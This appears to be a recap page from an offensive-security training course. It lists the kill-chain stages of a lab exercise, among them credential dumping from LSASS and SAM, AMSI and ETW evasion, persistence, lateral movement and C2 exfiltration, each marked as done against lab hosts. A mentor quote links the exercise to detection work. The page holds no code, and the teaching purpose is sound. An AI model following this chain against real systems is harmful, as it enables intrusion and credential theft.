Reconnaissance (nmap, enum4linux) ✅ LIVE .92 → .42
Initial access (SSH credential) ✅ LIVE .42
Privilege escalation (spooler) ✅ LIVE .42
Persistence (registry, task, WMI) ✅ LIVE .42
Defense evasion (HWBP AMSI+ETW) ✅ LIVE .92
Credential access (LSASS, SAM) ✅ DEMONSTRATED
Lateral movement (SMB, WMI) ✅ LIVE .42 → .145
Collection (files, screenshots) ✅ LIVE .145
Exfiltration (C2 beacon, AES-256) ✅ LIVE .145 → .92

🧠 The Mentor's Lesson

"The kill chain is not a recipe. It's a language. Every attacker speaks it, every defender must understand it. When you can map your own attack to MITRE ATT&CK, write a Sigma rule to detect it, and prove the rule works with Atomic Red Team — then you are not just a hacker. You are a security professional."

— From Module 10, Module 15, and Module 16

← Home ← Module 19 Module 21 →